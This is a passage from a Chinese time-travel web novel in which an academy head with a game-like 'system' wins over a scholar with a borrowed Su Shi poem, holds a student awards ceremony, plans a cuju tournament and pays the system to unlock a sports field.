“我一向最佩服有才学的人,你若想让我心甘情愿留下,那需得胜过我最强的地方,即便你本就是因为不善诗词,才请我来,教授这书院文章的,可也必须得先写出一词,令我叹服才行。否则,待遇再优,我也不会服气,你这山长嘛,也必坐不长久。” 听完这三问,系统直接跳上了线,一副热衷于看热闹吃瓜的模样。 “嘎嘎嘎嘎,你小子也有被质疑挑衅能力的一天啊!快,打脸让他看看咱们的实力!” 童启黑着脸关掉系统的对话框,沉思不语。 潘阆这三个问题看似没有什么关联,但却步步紧逼,直指核心。 并不像传闻中的那些只擅长诗词,相反,他看似随性无羁,实则城府颇深,对人情世故把控精准。 这三问,既是在试探他办学的心思,又是在暗暗警告他外露的名声,已经触及到了部分上层人的利益,迟早要面临站队的选择。 童启脑海中警铃大振,本不想回答这三个敏感的话题,可奈何他又实在是想要留下这位大儒。 替书院以后诗词这一方面,补全短板。 只能赌一赌,看看是否值得信了。 他咬咬牙,“您是想听真话还是假话?” 十一岁的孩童坐在大大的老爷椅中,半张脸藏在阴影里,不加掩饰,露出非年龄段的成熟表情,潘阆惊讶的挑了挑眉,道。 “自然是真话。” “那么我这话说出口,还请在场的诸位不要泄露出去。否则,出了这个门,我们所有人,恐一个也难以逃脱。” 童启率先打下了预防针,见无人后退,这才开始正式回复道。 “第一问,我这书院要开多久?我只能说,只要有我存在的一天,这书院就会永久开下去,这是毋庸置疑的事情。目的么,我若说只是为了桃李满天下,拯救这危在旦夕、大厦将倾的朝廷,你们信吗?” 潘阆意味深长的摸了摸自己的胡子,看了眼旁边的清虚子与温叶辞。 两个人均是一脸纳罕。 童启也不解释,只站起身,自顾自给自己倒了杯茶,捧在了手心里。 “我并不忠君,也不会将宝押在任何一个皇子的身上,老实说,我觉得忠君思想不过是上面的皇帝为了笼络文人的心思,强行训诫的工具罢了。” 他手中的茶盏陡也未抖,可说出的话却如惊天旱雷,令其他三人瞬间站起了身。 “童山长,还请慎言!” 他并没有因为其他人的惊恐而停下,反继续说道。 “我遵守这个规则,可并不代表就认为这个规则是对的。我爱国,可我的国,与君主无关。我只是希望,能够永远的看到这片土地,傲立于东方不朽,这片土地的人民,远离杀戮和不幸,哪怕头顶上有阴影笼罩,可这个时间,注定只是阶段性的,思想,便是我竭力留下的火种。” 仿佛只是随口说出了今日的天气般,童启喝了口水,平淡而冷静,其他三人却早已经把整颗心都提在了喉咙口。 失去了所有言语。 潘阆也没有想过,童启竟会如此直接。 这番话,但凡这里有一个人有异心,说出去,便是杀头之祸! 不忠君但爱国?简直闻所未闻! 可正是这份直白,也让所有人忍不住叹息,心神摇曳。 因为他们能够感受到,对方话语中的真诚与笃定。 就像是看透了历史车轮滚滚向前,注定所有的一切都早晚被碾为泥土一般,令人不由自主感受到了这番话背后,那难以逃脱、字字鲜血的鸣泣,像是在遥远的未来,真的发生了什么,那种悲怆无力,举目苍凉之感…… 没有文人是不为了一展抱负而读书的,没有文人心中是不存有拯救国家于兴衰存亡之际的愿景的。 即便后期会有个别人改变,可初心,大家都是一致的。 希望这片土地,能够更好。 他们都觉得,如今的大奉朝已是百年兴旺之景,可这个时候却有人站出来说,大厦将倾! 只这四个字,便足以让人窒息的快要呼吸不上气来。 难以置信,可却本能的不得不信。 “第二问,你问我是否会继续参加科举?我会。” 童启答道。 “但我必须说明,我并不是为了什么功名利禄,而是为了佐证我作为山长、老师道路的正确性。世人信奉权威,我也不会例外,科举于我,就像是侠士与剑,我不一定会用,可必须得有,您明白吗?至于入朝后会不会受到重用,徒弟比先生更强又如何?那皆是后话。有的路,走的轻松,可有的路,注定走的艰难,但迟早需要人试一趟深浅,才知能不能行,而我,愿做那个身先士卒之人。” 剖心剖腹之语,令温叶辞无奈的苦笑了起来,彻底释怀。 他败了,败的实在是太狠! 两次同上考场,他一直以为童启胜过他的,只是学识。 到今日方知道,对方胜过的,还有远超于这个时代的思想。 在他汲汲营营还在思索功名进退之时,对方不过是把这当做一个踏板,去竭力助其他人,走得更远。 难怪他从来没有感觉到过童启对于名声的追求,却一直看到他不断期待着学生们往上走,去参加科举考试。 本以为这是前后矛盾之举,如今才晓得,对方是看的太清醒。 清醒到明明察觉出他们这些陷在漩涡里难以挣脱之人的困境,却不蔑视嘲笑,而只是默默伸出手支撑一把,便依旧退回原本的位置。 这是何等大义? 令人心折,令人尊崇。 两个问题,童启皆真心所答,可最后一个,却成为了难住他最狠的事。 让潘阆信服的诗? 抱歉,你真是太看得起我了,在这一点上,他还真没有那能力! 如今这个朝代,好多大诗人还未出生,潘阆已经是同批人里最优秀的存在,声名远播,谁能比得上他? 看来只能臭不要脸的再跟老祖宗们道一句歉了,借诗一用! 他沉吟几下,决定拿出自己最喜欢的一首诗顶一顶。 “第三个问题,我无法解答。但有一首诗,我很喜欢,但愿能够得到你的认可。” 童启拿起旁边的毛笔,一字一句的写了下来。 他这手字,乃是现代的时候,拿着颜真卿的字帖反复苦练过的,算是他如今唯二能够拿出来显摆的东西,至于第一么,那可能就是远超于此时代的系统了…… 潘阆和温叶辞等人相继聚了过来,他们还是第一次见到童启写诗。 之前便听说过,华夏书院山长声称自己诗词一道最弱,哪怕从县试上应考的诗词也能看出,确实是平平无奇。 不算太差,但也不算惊艳。 没想到逼一逼,还真能逼出好东西? 童启一边写着,一边感慨这首词的应景,只见笔下渐渐成句,清虚子缓缓吟出上半阙,道。 “莫听穿林打叶声,何妨吟啸且徐行。竹杖芒鞋轻胜马,谁怕?一蓑烟雨任平生!”(注1) 笔落惊天地,潘阆和温叶辞皆是眼睛一亮,感觉到了这首词的惊艳之处。 明明只是寻常的文字辞藻,可一幅画卷已跃然于纸上。 一个人头戴蓑笠漫游在大雨之中,独自穿过竹林,优哉游哉,即便步行,却比那骑马的人,更加潇洒,浑然不觉焦虑,随心散漫,怡然自得。 清虚子读完,只觉口齿留香,待继续往下看时,更觉精妙。 “料峭春风吹酒醒,微冷,山头斜照却相迎。回首向来萧瑟处,归去,也无风雨也无晴……” “好一个也无风雨也无晴啊!不愧是华夏书院的山长,这心胸豪阔,气概洒脱,令人叹服!” 潘阆激动之余,忍不住拍案叫绝。 几人均是头一次知道,词还能这样写? 潘阆再三品读着,大为满意,当场便答应了下来,留教华夏书院! 童启则心虚的顶着这些夸赞,默默向苏轼大佬道了个罪。 心想,回头等你出生的时候,我定会好好回馈今日的借词之恩的! 不过算算年纪,等苏轼大佬出生,他估计也已经快退休了吧? 没事,反正华夏书院随时为他敞开,到时候都用不着亲弟弟去捞了!他会带着所有学生们,亲自去捞的!QAQ 至于这首词,温叶辞眼疾手快,已默默收了起来,以表纪念。 等潘阆和清虚子想起来,还想再欣赏时,那词已经被收走了。 不由叹息不已。 他们不知道,温叶辞的后代将此字词保留了多少年,后经历了多少朝的动乱,都没有卖出去,直至建国后被国家图书馆所收录,这才重建天光,惊艳了无数学生,成为令华夏世人举世骄傲的存在。 若是知道,只怕还得据理力争一番。 不过这些稍稍往后放,解决完老师的问题,也该是时候解决学生的问题了。 童启直接拖着话筒和音箱,召集所有学生开会,不来的,直接就是开除警告。 所有学生颤颤巍巍聚集在教学楼旁的广场空地上,头也不敢抬,屏息持立着。 山长的视线一点点滑过前排的几人,拍拍手,带着府城考完试的学生们,走上台前。 好哇,不是打架吗?不是浪费粮食吗? 还是日子过得太清闲了,浑身精力无处发泄啊,半点都不懂得什么叫做辛苦,什么叫做疲倦。 童启这一次并没有打算回避的意思,其实之前第一届学生们,就有过关于身份差异之间的争论,只是因为人数太少,才五个,不管怎么斗,也斗不太起来,可这一次直接招进来五十多个,顿时像是往里面注入了一道活水,搅得原本的泥泞更加浑浊。 有争论很正常。 他从没有想过自己仅凭几句话,便能够影响别人的一生,尤其是他们接受这种认知已经很久了,一朝一夕,很难去更改,那么,拿什么去打破这一堵墙呢? 他想到了一个绝妙的好方法。 第37章 第37章颁奖大会 “先跟大家通报一下这次的府试成绩。请所有参加府试的学生们在念到自己的名字之后,上台领奖。” 童启并没有立即评价拉帮结派的事情,而是率先拿优秀的学生们,树立一个典型。 清亮的声音透过话筒,在喇叭的电流声中骤然放大,如雷鸣一般响彻整个沧澜山上下。 有棉花田里的农民、佃户们正弯着腰清理杂草,听到这声音,也不由站直了,好奇的探头望向书院的方向。 猎户、贩夫走卒、来此地春游踏青的士子们纷纷侧耳静听。 六个学生激动的等候在台下,脸颊皆是红扑扑的。 潘阆等人陪同着所有学生仰头看着讲台处,本能的感受到了肃穆与隆重。 这还是众人第一次一起经历如此大的场面,不同于报喜人到来时的混乱与嘈杂,这是类似于“将军百战死,壮士十年归”的一种沧桑过后得胜归来之感,似在明晃晃告诉所有人,他们走过来的风雨多么艰辛,而今,已到了结果繁盛之日。 第二届的学生们站在台下,看着这阵仗,个个热血沸腾,就如同围拥的百姓们一般,充满了艳羡与期待。 “下面,有请吴韧同学上台领奖。” 童启清晰的点评声,一字一句,如同尖锐的力量击破了拥 堵的围墙,正式传递进了每个人的心底。 “对方成绩优异,在过去一年书院的多次考试中名列前茅,不仅于县试和府试中,接连拿下了第一名的好成绩,还相继获得了先生们学习勤勉、恭而有礼的优秀评价;在书院组织的各项救济灾民、棉花试验田等活动中,表现优秀,新生入校后,多次帮忙引导,虚怀若谷,尊亲敬友,是每位学生们争相学习的榜样!特此,将本年度的三好学生颁布给吴韧同学……” 被如此多的人注视着,吴韧手脚都有些发颤。 他吞了吞喉结,同手同脚的走上讲台,接过了童启手中那轻飘飘的一张奖状。 大红色与金黄色交织的页面,盖着华夏书院独特的专属印章,笔走龙蛇写着几个大字: 【兹有吴韧同学,在本年度中,思想品德优秀,学习勤奋刻苦,成绩优异,积极参加体育锻炼,身心健康,全面发展,特授予“三好学生”荣誉称号,以资鼓励。】。 有奖状,怎么可能没有奖品呢? 童启特意从年前抽中的一堆低阶奖品中,挑选出了几样,连带着一起发布。 “除此之外,书院还单独奖励给吴韧同学两个笔记本,两支中性笔,外加五两银子,一个琉璃保温杯,以表庆贺,大家鼓掌祝贺!” 豁! 笔记本?中性笔? 新生们可能不知道那是什么,可上一届的老人们却一点都不陌生。 那可是山长经常用来记录教案的本子和笔啊!不仅写起来方便整洁,且不用研墨,随手揣进衣袖便可出行! 只有先生们偶尔才会得到几个,他们老早就想要了,奈何数量稀少,没想到,竟然是用来奖励在这里的! 早知道,府试就该再拼一拼才是! 一时间,几个二年级的学生们后悔莫及。 而底下一年级出身寒门的学生则是为了那五两银子而感到哗然。 要知道他们一年的学费也不过才五两,这一奖励,不就等于免费上学么? 不对,吴韧走的是勤工俭学的路子,压根就没掏过钱,这完全就是给钱上学啊! 本子、银子的,出身权贵的学生们自然看不上。 可对于最后奖励的那个琉璃保温杯,却无比艳羡。 这玩意儿如今只有柏老先生的琉璃工坊里面有,一年也才生产几个,价格高昂。通常只有几个家主在用,冬日里泡上那么一杯茶水来,坐着马车远行,到了地界还是热的,若能得到一个免费的,他们该是多么快乐的孩子啊! 一时间,所有人的眼睛几乎都黏在了吴韧抱着的那几样物品来,恨不得以身相替。 小侯爷更是双眼闪闪发光。 啊啊啊啊他也想要! 尽管从入学以来,他压根就没想过参加什么科考,来提升自己的地位,但这一瞬间,他想要第一!! 一片哗啦啦激动的掌声中,吴韧暗暗挺直了胸膛,骄傲无比。 他抱着所有得来的东西,沐浴在众人渴望的目光之中,缓缓走下了讲台。 这是对于他这一整年的心血和勤劳最至高无上的肯定!也是山长对于他的关注与爱护! 旁边的郭胜开稍显落寞。 尽管他努力去追赶了,可对于吴韧,他依旧是棋差一着,只拿下了府试第二的成绩。 但也正常,毕竟他来书院也不过才一个多月,能够上场已经是奇迹,比不过对方,他也认了,但一年后的院试,他不会服输的! “接下来,我们有请郭胜开同学上台领奖!” 没想到奖励还未结束,几个学生顿时抬起头,满脸希冀。 “这一次的府试考试中,他成功拿下了第二的优秀成绩……汪启元同学,成功拿下府试第三名……奖励一个笔记本,一支中性笔,三两银子,以及一面琉璃镜。大家鼓掌祝贺!” 两个人晕晕乎乎被推上领奖台。 相继接过属于自己的荣耀。 底下的学生们手都快拍红了,嫉妒的眼睛巡视在每个二年级的学生身上,满满的渴望。 接下来便是常仕进、刘卜温和杨舟万,分别拿下了府试第八、第十、第十六的成绩,得到了山长给与的笔记本、中性笔以及自动售货机零食套装。 可喜可贺。 再一次的全员上榜,充分说明了华夏书院的教学能力,也令所有学生们感到震撼! 六位童生,仅一年,便一跃成为了六名准秀才苗子! 这华夏书院的教学质量,到底是有多强啊! 当地伊川县的章县令更是喜得眉飞色舞,在接到报喜的时候,便马不停蹄收拾东西,前往祝贺,这可是以后刷功绩的好地方啊!可得留住了! 书院再次迎来一波短暂的拜访,如火热的灶台,烧的通红鲜亮。 而新入学的学生们,更是觉得心头一股热火正熊熊燃烧着,难以熄灭。 他们看着师兄们荣耀满身,也不由畅想起自己的第二年,若站在上面的是他们,享受万众瞩目的目光,山长欣慰肯定的笑容,那该有多美啊…… 鼻子泡都能乐出来好吗!? 就连一向刺头的柳大佬,都忍不住期待起来。 说完了奖励,童启这才开始发表对于其他人打架的惩罚。 “听闻我不在书院时,你们还做了一场大事,将所有学生都分为了权贵阶级和贫寒出身?很好,这也是你们对于自我的明确定位嘛。” 明夸暗贬的话,令整个颁奖台下蓦然一静。 如一盆凉水骤然浇灭了所有幻想。 尤其是柳三变、沈亦、谢君仪等人,更是恨不得当场将脖子缩进地缝里去,压根不敢抬头,去看山长的脸色。 童启笑盈盈的看着所有一二年级的学生们,朗声道。 “既如此,我觉得你们还是太清闲了些,许是只用读书考试,还不足以令你们觉得辛苦,那正好,我也有一项任务要交给你们。从今晚开始,我们的操场将会被围起来,重新修,三日后,将会改造为蹴鞠场。为了庆贺此盛事,我打算举办一场华夏书院的友谊蹴鞠大赛,面向全社会观看!” 蹴鞠赛? 不少山下的百姓们依稀听到这几个字,顿时议论纷纷起来。 就连一些权贵之家都忍不住对视了一眼,产生了几分兴趣。 “你们的竞争对手已经确定,我将会邀请柏将军及其手下擅长蹴鞠的士兵们,以及河南府百胜蹴鞠队的民间队员们,同样还有来自龙胜书院的学生,一共三组。我会按照你们如今自己分出来的两队,重新进行分组,凑成五支队伍,进行比拼。从今天下午开始,晚自习活动将被暂时取消,所有参加蹴鞠赛的队员们,将要进行整体特训,不上场的,也必须组成后勤队,随时为参赛选手们提供帮助。” 听到这里,所有华夏书院的学生们早就已经懵在了原地。 可童启的话却仍未结束。 “顺便一提,到时候来观赛的不仅有各位的家长们,还可能会有河南府的各位大人、商会会长以及普通听闻了华夏书院名声的百姓们,希望你们到时候不要表现得太差,让我们书院过于丢人,令他们失望哦!两支队伍,哪一队排名靠前,将会在蹴鞠大赛过后,当着所有人的面,由知府大人颁布获胜的奖励,赢得食堂内一整周任意点菜的权利,外加一枚永久的学院徽章……” 童启从袖子里掏出系统拼夕夕一键批发的不锈钢徽章,展示给大家看。 上面刻有华夏书院四个字,周围辅以日月,可爱而精致。 这是他上次低阶十连抽时,意外开出来的东西。 虽没什么用,可作为象征意义的荣耀品,倒是独一无二。 应该很容易得到学生们的喜欢。 果然,他一拿出,方才还满脸苦色的学生们,顿时像是打了鸡血一般,支棱了起来。 “不止这些,获胜的队伍,我还会将你们的画像单独留在书院门口的公告栏上,张贴一整年,作为优秀学生展览,队伍里表现最为优异突出的那位,还会额外获得山长的琉璃套装一套,其内包含保温杯、琉璃镜、琉璃珠三颗,以及藏书阁二楼免费阅 读一整年的权利。” 这一下,整个学院的师生队伍,顿时交头接耳起来。 不是想发泄精力吗?那便将这些全部留在体育场上吧。 男人本就是竞技出来的冠军,有什么不能打一场,分出胜负的? 成天骂来骂去,未免太小家子气。 一致对外,谁能拿回荣誉,那才是真正的本事! 正好头一年的教学任务也已经完成了,来一场轰轰烈烈的比赛来炒热第二年的氛围,令大家彼此认识一下,也是好事嘛。 什么肩不能提、手不能扛的,那可不是童启想要的学生。 他教出来的文臣,怎么也得上能在朝堂上撸起袖子和人干仗,下能上得了战场,英姿飒爽,豪气万丈才行! 加强体育训练,提高学生们的身体素质,这成为了童启今年的首要任务。 颁奖大会结束后,几个老师围在一起,好奇的询问童启。 “你何时和东部的龙胜书院认识了?还约了什么蹴鞠大赛?” 童启笑的乖巧,“哪里是我主动认识的?这次府试,他们书院的柳川可是冲着案首去的,没想到摘下了第四名,我们刚一出河南府,便被拦下来了。” 事情回到一日前府试张榜之后。 童启带着学生们看完成绩,刚采购了一些特产,打算驾车回伊川,走到半路,便被两辆马车给拦了下来。 “请问阁下可是华夏书院的山长童启童秀才?在下龙胜书院斋长冯子川,久仰大名,还请下车一见。” 一个精瘦板正,举人打扮的文生正站在车下,躬身而立着。 童启掀开车帘,忙下车见礼。 一叙才知道,对方竟和河南府万商商会的冯会长乃是同一支。 去年救济灾民时,捐款买琉璃单子的,便有这家。清虚子曾和他们打过交道,只说是个极其长袖善舞、玲珑剔透的人。 不想家中嫡系竟还有人在书院内担当要职? 头一次和传说中的几大书院打交道,童启提起了十二万分的心思。 可对方却不像是有什么恶意,只是普通询问了一下他们的学生明年是否要参加院试的计划,然后便是邀请童启有时间,去东部逛一逛。 “我们书院内环境清幽,有二十多位举人、进士担当教授职位,山长最是喜爱有才的文人,去年院试,您拿下院案首,那第二名,便是我们山长的学生,试卷被张贴出来后,您的策论很是受到书院内几位斋长的喜欢,多次拿其中的一些论据举例,恨不得相见。没想到这次府试,竟能够有缘相遇。以后多多走动,想来也别有一番进益才是。” 龙胜书院建校已有二十多年,主要面对的,便是东部的考生,河南府还算是少的。 按理说,他们并不存在什么竞争关系,倒的确是可以处成兄弟院校,共同进步。 可童启敏感的察觉到对方这话,似乎不是重点。 “二十多位举人、进士”才是对方真正想要明确表述的。 心下顿时明白过来,这估摸着是想来彰显师资力量。 他笑盈盈答应道,“好说,以后有机会,可以让学生们多交流交流。我们书院刚成立不久,老师还比较少,加上我,一共也才三位,有什么不懂的,大家可以多多沟通,不吝赐教嘛。” 冯子川不着痕迹的扫了一眼童启及其身后的镖师、学生们,矜持的点了点头,道。 “一张一弛,方为文武之道。我们书院山长最是喜爱蹴鞠,若是童秀才感兴趣,偶尔也可以一起踢一踢,陶情适性。” 蹴鞠? 那不就是现代的足球么? 童启本就有给学生们安排上体育课的想法,听到这里,不由心下一动。 系统适时上线道。 【叮,请举办一场书院与书院之间的联合pk,彰显自己的师资力量吧!动员人员超过一万人,即可获得高阶抽奖券哦! 成功:奖励中阶抽奖券一张 失败:无惩罚】 又是随机任务? 童启看到那一万人的动员,眉心跳了跳,可想起高阶抽奖券能开出来的东西,顿时握紧了拳。 好,这任务,他接了! 于是,他顺势试探起若两个院校一起联合举办蹴鞠赛的事情,没想到刚起了一个头,对方便立马答应了下来。 “若真有此盛会,还请务必通知我们书院,凡是和蹴鞠有关,我们山长皆是义不容辞。” 就这么痛快的留下了双方的联系方式,约好了书信往来后,两边这才各自离去。 冯子川起身回到马车内,其中,一个身着大红色官服的中年男人正手持一本书阅读着,见他归来,忍不住调侃道。 “不过一个小小的书院秀才,也值得恩师如此看重?” “山长之命,不得不从,你也知道,他最是喜爱这些少年天才。” “少年天才?”那官员不知想起了什么,忍不住嗤笑了一声,“呵。” 他倒要看看,他们这些少年天才们究竟能走多远- 简单讲述了一下和龙胜书院结识的过程,温叶辞和清虚子皆没有什么表示。 反倒是潘阆沉吟两下,笃定道这位冯子川,不是什么简单的人物。 “我在京城里虽没有听过他的名字,但如今朝堂上最炙手可热的那位许翰林,据说便出自于龙胜书院。他颇受当今圣上的喜欢,乃是著名的三皇子一党,平日里最是嫉妒少年英才,喜欢排除异己,党同伐异。就连胡丞相都不得不暂避风头,如此猖狂,必为大祸,若有朝一日被清算,只怕龙胜书院,也无法幸免。” 童启神色一肃,这才想起来这个朝代还是有追责连坐一说的。 看来以后教学生,还是不能太宽容了。 该敲打的还是得敲打,该警告的还是得警告,不然回头出去了,犯了事,把他给供出来了还得了? 于是,柳三变、沈亦、谢君仪、戚风言、莫小川等人喜提处分单子一张! 明确警告,若再有下次,一律逐出书院,永不录用。 本以为蹴鞠赛便是惩罚的几人顿时瘫倒在地,唉声叹气不断。 没想到会突然掀起这样一场战争,从来没踢过球,甚至就连蹴鞠规则都不大懂的学生们,顿时蔫儿了。 两队的参赛名单很快被张贴出来,童启还真按照了他们所划分的阶级进行了分组。 第一组就以吴韧为小队长,柳三变、常仕进、杨舟万、郭胜开等人,皆位列其中。 第二组则是汪启元领队,小侯爷沈亦、戚风言、刘卜温……并几个权贵、皇商出身的孩子,一同参与。 规则和训练方法,他已经分别给了两组人,至于何时训练、训练找谁作为教练、怎么样训练,那便是队长们应该操心的了。 童启皆不管。 同时,他也并没有放松大家的学习。 课还是照常上,试还是照样考,期中考试便放在蹴鞠大赛之后! 那么,如何安排管理自己的时间,平衡训练和学习,同样成为了每个学生抓耳挠腮,应该操心的事情。 得知王世昌已经成功闯入了藏书阁,成为进入图书馆的第一人,童启惊喜不已,见他如此喜欢读书,还特意送了一枚带着书籍的徽章给他。 顿时得到了不少人的羡慕。 那徽章别在衣袖上,帅气而显眼,且做工精致小巧,难以复刻,装在袖子里便能够拿回家去,任意显摆,不少人馋的紧,暗地里还想拿银子去和王世昌换,小侯爷甚至暗暗开出了高价,都被王世昌给拒绝了,因为他也很喜欢这个徽章啊! 亮晶晶漂亮无比,简直比女子的钗额装饰还好看! 既然有着成功的案例,那童启索性也不更改图书馆的装潢了。 就这样吧,先打一架再进去,省的他们天天把精力发泄在没用的事情上。 读书,就是得如此艰难才对!越是辛辛苦苦获得到的机会,才越是会被珍惜,不是吗? 一时间,整个书院里开始勤练肢体、拳脚起来。 小侯爷和几个权贵之家的孩子,在食堂主打闹事浪费粮食的 ,童启更是给他们统统安排了种地的额外任务。 今年的学田不是马上就要开始了吗?且棉花地里也需要人帮忙指导,他们直接被扔给了吴韧,带着去下田去,一个别想跑。 一个月下来,别说浪费粮食了,被晒得,回去连爹妈都不认识了,倒是给什么吃什么,治好了挑食的毛病不说,身子骨也健壮了不少,搞得不少人家欢喜不已,暗暗夸赞华夏书院会养孩子。 第38章 第38章解锁操场 解决完这些琐事后,书院里就暂时放了假。 本也到了旬假的时间,再加上孩子们刚得了奖励,正是回去分享喜悦的时候。 院子里霎然一清。 童启顶着星光,独自漫步在夜色之中,俯视着带人围起来的操场部分。 这一块地占地大概有一万多平方米,直接霸占了书院正中靠西的整个主干道,由于四通八达,连贯着教学楼、藏书阁、宿舍楼、后山等地,所以原本便没有被任何东西所遮挡,只有一整个光秃秃的地皮。 偶尔长点野草,还参差不齐的。 学生们偷懒抄近道时,大多都会从上面直接走过去,一整年下来,地面被踩的硬实泛光,连锄头都不好挖。 也有人猜测过这一块地的用法,有说是山长留着来种地的,有说是跑马用的,更有说是为了盖其他建筑的。 如今才知晓,原来就是蹴鞠场。 童启掐着腰,站在正中间的位置上,环视两侧,打开了系统的对话框,问道。 “系统,解锁操场之前,先让我看看3D立体图吧,这么大块的地方,你是怎么设计的?我记得我们学校的足球场,可还带着不少大灯呢,你好歹多送几个,也方便孩子们晚上训练不是?” 免得每次下了晚自习,黑布隆冬的。 有时候,下了雨,地上泥泞湿滑,他都害怕孩子们会一脚踏空,直接摔进水沟里。 憋了许久的系统翻着白眼上线道:“你怎么不叫我哆啦A梦呢,干脆让我把整个操场涉及到的部分,都免费送给你好了?” 童启眼睛一亮,“可以吗?” 系统没好气道:“想啥美事!!” 巨大的3D立体图被骤然投放到半空中,缓缓呈现在童启面前。 他一脸激动,看过去,这才发现并非自己想象中的完整操场模样。 所有建筑里,只有正中间的足球场是点亮的,其余两侧的观看席、田径跑道、广播颁奖台都是被铁链层层锁住,就连左右照明的大灯都呈现的灰色模样,无法打开。 童启无语的敲了敲系统对话框,“你这是跟我玩买椟还珠呢?说好的第二届招够50人,就解锁操场呢?我这可都招进来53个了,难道不算是超额完成任务!” 系统:“你再看看我说的那是解锁操场吗?我分明说的是解锁足球场!足球场已经解锁了啊,就是你现在看到的这个样子!” 至于其他部分,那都是附属建筑,怎么可能这么轻松,一个任务,就全送给你? 童启:…… “你别给我说其他的部分也要占用一张建筑解锁券啊?” 系统心虚的望望天,又望望地,“这本身就都是单独的设施啊,田径场是田径场,操场是操场,看台是看台,这么大的面积我只收你三张建筑解锁券而已,已经够仗义了吧,大不了照明灯和广播颁奖设备免费送给你……” “三张建筑解锁券?你抢劫来了?!” 我藏书阁那么多书也才一张而已! 你什么操场就要我三张? 罢了罢了,什么蹴鞠大赛,我不办了行了吧? 系统连忙伸出两只手拉住,讨好道,“哎呀,宿主,你不能这么想啊,你要看这占地面积有多大!上万多平方米欸!这可是横跨了半个书院,光是容纳的观众,就能够达到上万人!你就算不办蹴鞠大赛,难道以后就用不着了吗?万一回头搞个军训、大阅兵什么的,是吧?多爽啊,一次性解锁,很方便的!” 军训?大阅兵? 你这还是让我搞造反那一套啊! 如今大奉朝的皇帝可都还活着呢,他一个书院,搞什么军训、大阅兵? 被知道了,全家九族都不够砍的! 童启闭眼深呼吸了一口气,“你就直说需要多少钱吧,建筑解锁券我如今是拿不出来的,那六张中阶可是留着攒高阶用的。” 他还打算再抽出个什么赚钱的方子来,搞点副业呢! 至于声望值,为了抽奖也已经消耗的不少了。 只剩下不到六千点数,拿来解锁建筑,未免太不值当了一些。 系统讨好的伸出三个小手指头示意道,“不多不多,整个田径场标准400米橡胶跑道,一共八百两银子即可解锁;两侧看台,自带能够容纳一万人的座位,再加上左右两边的大灯,即便深夜,也能照常训练,一整套,只需要五百两银子;主颁奖台和广播室,我算是免费赠送给你的,不仅能储存东西,还能播放音乐歌曲,整个书院边边角角都能听见,我从我的曲库里给你挪五首歌过去,保准你物超所值,如何?” 乍一听好像还行,都不算贵,比起一个建筑就需要三千两来说,确实实惠。 可加在一起,就不便宜了啊! 光是杂七杂八的,就需要他一千三百两银子? 你干脆杀了我吧! 他刚在府城里买的三进三出大宅子,加上前面的铺子,一共也才卖七十两纹银啊! 童启心痛的捂住胸口,感觉到自己积攒的小钱钱,正在流失中。 可不要吧……又不行。 系统出品的建筑,在这个位面还真是少有的齐整,有些材料,即便是雇人去建,也建不出那个样子。 他数了数自己的荷包,无奈选择了全部解锁。 好不容易攒下的小金库,顿时损失大半。 看来又得找机会去宰一波狗大户了,童启默默的想着。 整个操场在按下解锁键的一瞬间,飞快成形,如同穿梭了上千年之久的光阴,一阵风吹过,泥泞之地瞬间化为绿油油的齐整草坪,两侧的足球网中,排排端放着十个黑白相间的足球。 所有大灯全部打开。 明亮如白昼一般。 看台两侧,皆是水泥砌就,浑然一体,台阶上一层一层被刷满了黄白色的漆,佐以镶嵌在其内的塑料椅子,干净又整齐。 正中央的颁奖台上,安放着三个高低不同冠亚季军的标志,配以一个小隔间,里面全是各种播放设备。 童启爬上去,查看了一下系统送的五首歌,见到歌名,不由缓缓留下三滴汗水来。 “原来……你的品味是这种啊?” 他忍不住吐槽道。 只见其内五首歌,四首歌皆是凤凰传奇所作,《月亮之上》、《荷塘月色》、《最炫民族风》、《奢香夫人》,最后一个,竟然是《向天再借五百年》? 这些歌好是好,可你确定,是我适合在书院里放的么? 这个大背景下,张口闭口就是等啊爱啊的,是不是……有点不太庄严? 确定不会被骂靡靡之音么? 系统顿时炸毛道。 “你懂什么?这可都是我好不容易收集到的经典歌曲,你竟然敢质疑我担的品味!有本事一个都别听!” 谁说不是经典歌曲了? 头一次知道系统也追星,童启无语的沉默了一会儿,最终还是选择了一键播放。 他也好久没听过现代的歌了,上次听到这些歌曲,还是在广场舞上。 没想到再听,就是在大奉朝了。 也就是今日放旬假,学生们都不在,不然,他还真不敢播。 于是,一首节奏动感十足的歌曲,就这么响彻在了书院之中。 宿舍楼内,清虚子和潘阆都被这动静给吓了一跳,披起衣衫,便走了出去。 “这是……哪里来的女子在吟唱?” “听起来,似乎是那正在修中的地方传出来的,难不成是匠人们在边做工边喊号子?” “哪里有女匠人喊得号子?且这雄浑高昂,背景之中隐隐还有着各种乐器在伴奏,不像是吆喝,倒更像是鼓子词。” 鼓子词?可这世上从未有过女子唱鼓子词的呀? 两人不约而同对视了一眼,齐齐沉默下来。 半晌,潘阆出声问道,“清虚子,山长可曾说了,是请谁来修?” “不知,我只知道山长似乎出自道家某一个密宗之中,每次书院的建筑被解除封锁时,都是由其背后的师门帮忙修建,我们只有等外面的围栏解除,方才知晓。” “师门啊……” 潘阆沉吟着,背着手和清虚子站在窗前,看着远处被遮挡的密密实实的操场,眼中复杂不已。 “清虚子,你也是道家出身,那你是否听过这样一个故事。说是天地轮转,冥冥之中自有定数,每逢五百年天下遭灾,便会有一能人降世,拯救天下苍生于水火之中。” 清虚子忍不住一愣,“你是指……” “你信不信,我有直觉,他的到来,将会在大奉朝掀起一场巨大的变革。而你我,皆有幸,成为这历史见证中的一环。这书院,我们一定得守好了,千万勿将这巨大的机缘,拱手让人才是。” 两个人心下大颤,再结合童启之前曾说过的“大厦将倾”之论,不由陷入了沉思之中。 他们并未下去追查那吟唱的人究竟是谁,只是站在窗边静静的听完那几首歌,便重新回到了房间里睡觉。 而此刻的后厨。 王厨娘的女儿小花蹲在院子里,也正拿着树枝默默跟着哼唱着。 她虽听不太清每一句词,可那旋律却格外容易铭记。 一点点顺着,倒也能勉强拼凑出个七七八八来。 当写道“铁蹄铮铮,踏遍万里河山,我站在风口浪尖,紧紧握住日月旋转”时,她被那词中的浩荡豪气所吸引,久久难以忘怀,不由痴愣在了原地。 万里河山啊…… 她忍不住顺着这句词中描绘的画面畅想着,由衷感到一股羡慕。 颁奖大会,她站在角落里,也全程看了。 可那对于其他人仿佛触手可得的未来,对于她,却更像是梦中泡影,井中的月亮,难以触及。 越显讽刺。 平日里,她能够和庆安、童淳一起学习,可每当到了这种时候,便如同戳破了外面那层糖衣,露出其干瘪的内核来,不断的提醒着她一个难以遮掩的事实。 ——她是女子。 